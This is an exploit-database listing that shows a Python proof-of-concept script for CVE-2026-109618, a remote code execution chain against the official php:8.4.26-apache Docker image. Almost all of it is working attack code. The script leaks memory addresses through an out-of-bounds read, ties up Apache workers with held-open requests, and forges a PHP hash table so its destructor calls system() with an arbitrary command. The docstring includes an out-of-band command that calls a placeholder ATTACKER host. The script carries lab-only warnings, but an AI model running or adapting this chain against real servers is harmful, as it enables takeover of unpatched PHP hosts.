Exploit database

GH-e79cbef95496708f0cc6093900833312

struttonpigeon/php2shell-detection-and-poc

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2026-109618

411 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source

Repository files8
struttonpigeon/php2shell-detection-and-pocRevision d2f1bc81d022

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

phppoc2.py

Suggested starting filePython · 14,091 bytes
#!/usr/bin/env python3
"""One-shot pure-HTTP exploit for official php:8.4.26-apache, 128M,
display_errors=Off (no gdb, no target-side files).

  A1  : END-cleanup send_cookie OOM            (mk_a1.py, chunked)
  B1  : stale-id OOB read -> chunk base + libphp base (mk_leak_b.py, chunked)
  A2  : cheap-OOM -> dangling PS(http_session_vars)
  B2  : fake reference + fake zend_array -> pDestructor = zif_system

The proof command (default `id>/out/p1`) runs inside the target.  For a
remote target use an out-of-band command, e.g.
  --cmd 'php -r "file_get_contents(\\"http://ATTACKER/ok\\");"'

usage:
  python3 phppoc2.py --port 18110 --restart p2s-pure-18110
  python3 phppoc2.py --host 10.0.0.5 --port 18110   (lab target on another box)

`pure/pwn_pure.py` is kept as a compatibility alias for this entry point.

The default target is 127.0.0.1.  --host exists for lab setups where the
Docker target runs on another machine; only point it at systems you are
explicitly authorized to test.  Note that --proof is read on the machine
running the exploit, so a remote --host needs a shared /out volume or an
out-of-band --cmd.

For the stock official prefork config (MaxRequestWorkers=150), the exploit
holds `--workers - 1` partial requests open so the four chain requests are
served by the same child.  Use `--workers 1` for the old single-worker lab.
"""
from __future__ import annotations

import argparse
import os
import shlex
import shutil
import socket
import struct
import subprocess
import sys
import tempfile
import time
import urllib.parse
from collections import Counter

HERE = os.path.dirname(os.path.abspath(__file__))
R = HERE
PURE = os.path.join(HERE, "pure")
Q = "?q0000000=v&q0000001=v&q0000002=v&q0000003=v&q0000004=v"
LEAK_SPECS = [
    # calibrated original: hole at field 14  (G:400 → 111-page gap)
    ",".join(["G:511:0x137"] * 14 + ["G:400:0x137", "G:511:0x137", "X:900"]),
    # minimal fill: 197 free pages per chunk (distributes HashTables widely)
    ",".join(["G:315:0x137"] * 16 + ["X:900"]),
    # two holes at fields 5 and 11  (G:400 each → two 111-page gaps)
    ",".join(["G:511:0x137"] * 5 + ["G:400:0x137"] + ["G:511:0x137"] * 5 +
             ["G:400:0x137"] + ["G:511:0x137"] * 4 + ["X:900"]),
    # wider hole at field 3  (G:300 → 211-page gap)
    ",".join(["G:511:0x137"] * 3 + ["G:300:0x137"] + ["G:511:0x137"] * 12 + ["X:900"]),
]
# pointers-to-main-chunk fingerprint in the LEAK_SPEC window (stable count)
MAIN_BUCKET_COUNT = 87
PROFILES = {
    "x86_64": {
        "dtor_offset": 0x65EB60,
        "zif_offset": 0x465370,
        "ptr_max": 0x7FFFFFFFFFFF,
        "delta_min": 0x1A00000,
        "delta_max": 0x1F00000,
    },
    "aarch64": {
        "dtor_offset": 0x63812B,
        "zif_offset": 0x42CD70,
        "ptr_max": 0xFFFFFFFFFFFF,
        "delta_min": 0x1F00000,
        "delta_max": 0x2300000,
    },
}


def send_chunked(host: str, port: int, path: str, body_file: str, timeout: float,
                 save: str = "") -> bytes:
    cmd = [sys.executable, os.path.join(PURE, "chunked_send.py"),
           "--host", host,
           "--port", str(port), "--body-file", body_file,
           "--path", path, "--timeout", str(timeout)]
    if save:
        cmd += ["--save-response", save]
    subprocess.run(cmd, check=True, stdout=subprocess.DEVNULL)
    if save:
        with open(save, "rb") as fh:
            return fh.read()
    return b""


def send_plain(host: str, port: int, path: str, body: bytes, timeout: float = 120.0) -> bytes:
    req = ("POST %s HTTP/1.1\r\nHost: %s:%d\r\n"
           "Content-Type: multipart/form-data; boundary=%s\r\n"
           "Content-Length: %d\r\nConnection: close\r\n\r\n" %
           (path, host, port, "C" * 10, len(body))).encode()
    out = bytearray()
    s = socket.create_connection((host, port), timeout=timeout)
    s.settimeout(timeout)
    try:
        s.sendall(req + body)
        while len(out) < 8 << 20:
            chunk = s.recv(65536)
            if not chunk:
                break
            out.extend(chunk)
    except OSError:
        pass
    s.close()
    return bytes(out)


def parse_leak(resp: bytes, profile=None):
    _COOKIE_PREFIX = b"Set-Cookie: PHPSESSID="
    i = resp.find(_COOKIE_PREFIX)
    if i < 0:
        raise RuntimeError("no Set-Cookie in leak response (%d bytes)" % len(resp))
    val = resp[i + len(_COOKIE_PREFIX):].split(b"\r\n")[0]
    dec = urllib.parse.unquote_to_bytes(val.decode("latin1"))
    counts = Counter()
    ptr_max = profile["ptr_max"] if profile is not None else 0xFFFFFFFFFFFF
    for off in range(0, len(dec) - 8, 8):
        q = struct.unpack_from("<Q", dec, off)[0]
        if 0x7F0000000000 <= q <= ptr_max:
            counts[q] += 1
    if not counts:
        raise RuntimeError("no heap pointers in leak window")
    zdtor, n = counts.most_common(1)[0]
    if profile is None:
        arch = "aarch64" if zdtor > 0x7FFFFFFFFFFF else "x86_64"
        profile = PROFILES[arch]
    else:
        arch = next((name for name, prof in PROFILES.items() if prof is profile),
                    "unknown")
    if profile["ptr_max"] != 0xFFFFFFFFFFFF:
        counts = Counter({q: c for q, c in counts.items()
                          if q <= profile["ptr_max"]})
    lib = zdtor - profile["dtor_offset"]
    buckets = Counter()
    bucket_first = {}
    for q, c in counts.items():
        b = q & ~0x1FFFFF
        buckets[b] += c
        bucket_first.setdefault(b, q)
    # drop the libphp bucket and the dominant id-chunk bucket
    lib_bucket = zdtor & ~0x1FFFFF
    id_bucket = buckets.most_common(1)[0][0]
    cands = [(b, c) for b, c in buckets.most_common()
             if b not in (lib_bucket, id_bucket)]
    # prefer the bucket whose pointer count matches the stable fingerprint
    cands.sort(key=lambda bc: (abs(bc[1] - MAIN_BUCKET_COUNT), bc[1]))
    return {
        "decoded": len(dec),
        "arch": arch,
        "profile": profile,
        "zdtor": zdtor,
        "lib": lib,
        "buckets": buckets,
        "main_candidates": [b for b, c in cands[:3]],
        "cand_counts": {b: c for b, c in cands[:3]},
    }


def hold_workers(host: str, port: int, workers: int):
    """Occupy all but one prefork child with incomplete POST bodies.

    The official image ships MaxRequestWorkers=150.  Holding 149 children
    makes every later request land on the same remaining child, which is
    what the cross-request dangling pointers require.
    """
    holders = []
    if workers <= 1:
        return holders
    n = workers - 1
    for i in range(n):
        try:
            s = socket.create_connection((host, port), timeout=5)
            s.sendall(("POST /index.php HTTP/1.1\r\nHost: %s\r\n" % host).encode() +
                      b"Content-Type: application/x-www-form-urlencoded\r\n"
                      b"Content-Length: 1048576\r\n\r\n" + b"x" * 50000)
            holders.append(s)
        except OSError as exc:
            print("      holder %d/%d failed: %r" % (i + 1, n, exc))
            break
        time.sleep(0.01)
    time.sleep(0.8)
    print("      pinned %d/%d workers (%d holders)" % (
        len(holders) + 1, workers, len(holders)))
    return holders


def main() -> int:
    ap = argparse.ArgumentParser()
    ap.add_argument("--host", default="127.0.0.1",
                    help="target host (default: 127.0.0.1; lab use only -- "
                         "only point at systems you are authorized to test)")
    ap.add_argument("--port", type=int, default=18110)
    ap.add_argument("--arch", choices=("auto",) + tuple(PROFILES),
                    default="auto",
                    help="target architecture (default: auto from the leak)")
    ap.add_argument("--restart", default="",
                    help="docker container name to restart before the chain")
    ap.add_argument("--docker", default="sudo docker")
    ap.add_argument("--cmd", default="id>/out/p1")
    ap.add_argument("--proof", default=os.path.join(R, "out", "p1"))
    ap.add_argument("--outdir", default=os.path.join(R, "out"))
    ap.add_argument("--timeout", type=float, default=600.0)
    ap.add_argument("--retries", type=int, default=3)
    ap.add_argument("--workers", type=int, default=150,
                    help="prefork MaxRequestWorkers (1 = no pinning)")
    args = ap.parse_args()
    profile = None if args.arch == "auto" else PROFILES[args.arch]

    if args.host not in ("127.0.0.1", "localhost", "::1"):
        print("[!] target host is %s -- authorized lab/testing use only" % args.host)

    os.makedirs(args.outdir, exist_ok=True)
    if os.path.exists(args.proof):
        try:
            os.remove(args.proof)
        except OSError:
            pass

    if args.restart:
        subprocess.run(shlex.split(args.docker) + ["restart", args.restart],
                       check=True, stdout=subprocess.DEVNULL)
        time.sleep(1.2)

    holders = hold_workers(args.host, args.port, args.workers)
    try:
        return run_chain(args, holders, profile)
    finally:
        for s in holders:
            try:
                s.close()
            except OSError:
                pass


def run_chain(args, holders, profile) -> int:
    for attempt in range(1, args.retries + 1):
        tmp = tempfile.mkdtemp(prefix="p2s-pure-")
        try:
            return _run_attempt(args, holders, profile, attempt, tmp)
        except _AttemptFailed:
            continue
        finally:
            shutil.rmtree(tmp, ignore_errors=True)
    print("[4/4] all attempts failed")
    return 1


class _AttemptFailed(Exception):
    pass


def _run_attempt(args, holders, profile, attempt, tmp) -> int:
    try:
        s = socket.create_connection((args.host, args.port), timeout=5)
        s.sendall(b"GET /index.php HTTP/1.0\r\nHost: x\r\n\r\n")
        s.recv(1024)
        s.close()
    except OSError:
        pass

    print("[try %d] A1: END-cleanup send_cookie OOM" % attempt)
    a1 = os.path.join(tmp, "a.bin")
    subprocess.run([sys.executable, os.path.join(PURE, "mk_a1.py"),
                    "--out", a1, "--big", "78"], check=True,
                   stdout=subprocess.DEVNULL)
    send_chunked(args.host, args.port, "/index.php" + Q, a1, 180)
    remote = args.host not in ("127.0.0.1", "localhost", "::1")
    time.sleep(2.0 if remote else 0.2)

    print("[try %d] B1: stale-id OOB read (chunk base + libphp)" % attempt)
    info = None
    for si, spec in enumerate(LEAK_SPECS):
        b1 = os.path.join(tmp, "b1_%d.bin" % si)
        subprocess.run([sys.executable, os.path.join(PURE, "mk_leak_b.py"),
                        "--out", b1, "--spec", spec,
                        "--fake-len", "0xC8000", "--tag"], check=True,
                       stdout=subprocess.DEVNULL)
        leak_file = os.path.join(tmp, "leak_%d.resp" % si)
        try:
            resp = send_chunked(args.host, args.port, "/index.php", b1,
                                args.timeout, leak_file)
            leak_info = parse_leak(resp, profile)
        except Exception as exc:
            print("      spec %d/%d miss: %r" % (si + 1, len(LEAK_SPECS), exc))
            if "(0 bytes)" in str(exc) or isinstance(exc, subprocess.CalledProcessError):
                print("      worker unresponsive, skipping remaining specs")
                break
            continue
        cand = leak_info["main_candidates"]
        if not cand:
            print("      spec %d/%d miss: no main-chunk candidate" % (
                si + 1, len(LEAK_SPECS)))
            continue
        delta = leak_info["lib"] - cand[0]
        prof = leak_info["profile"]
        if not (prof["delta_min"] <= delta <= prof["delta_max"]):
            print("      spec %d/%d miss: implausible delta %#x" % (
                si + 1, len(LEAK_SPECS), delta))
            continue
        info = leak_info
        print("      spec %d/%d hit: decoded=%d zdtor=%#x libphp=%#x" % (
            si + 1, len(LEAK_SPECS), info["decoded"], info["zdtor"], info["lib"]))
        print("      chunk buckets: %s" % [(hex(b), c) for b, c in
                                           info["buckets"].most_common(6)])
        break

    if info is None:
        print("      all %d B1 specs failed" % len(LEAK_SPECS))
        raise _AttemptFailed()
    main = info["main_candidates"][0]
    prof = info["profile"]

    zif = info["lib"] + prof["zif_offset"]
    for cand in info["main_candidates"]:
        S = cand + 0xF8398
        print("[try %d] A2 + B2: main=%#x S=%#x zif_system=%#x" % (
            attempt, cand, S, zif))
        subprocess.run([sys.executable, os.path.join(PURE, "cheap_oom_a.py"),
                        "--host", args.host,
                        "--port", str(args.port), "--parts", "880",
                        "--depth", "64", "--fillers", "115"], check=True,
                       stdout=subprocess.DEVNULL)
        time.sleep(0.2)
        ht = os.path.join(tmp, "ht.bin")
        subprocess.run([sys.executable, os.path.join(PURE, "mk_ht.py"),
                        hex(S), hex(zif), args.cmd, ht], check=True,
                       stdout=subprocess.DEVNULL)
        subprocess.run([sys.executable, os.path.join(PURE, "fake_ref_b.py"),
                        "--host", args.host,
                        "--port", str(args.port), "--vl", "384",
                        "--n1", "500", "--n2", "495", "--rc", "1",
                        "--ht-addr", hex(S), "--ht-file", ht], check=True,
                       stdout=subprocess.DEVNULL)
        time.sleep(0.6)
        if os.path.exists(args.proof):
            try:
                with open(args.proof) as fh:
                    proof = fh.read().strip()
            except PermissionError:
                proof = subprocess.run(["sudo", "cat", args.proof],
                                       capture_output=True, text=True).stdout.strip()
            print("[4/4] RCE OK; proof %s:" % args.proof)
            print(proof)
            return 0
        print("      candidate failed (no proof)")
    raise _AttemptFailed()


if __name__ == "__main__":
    raise SystemExit(main())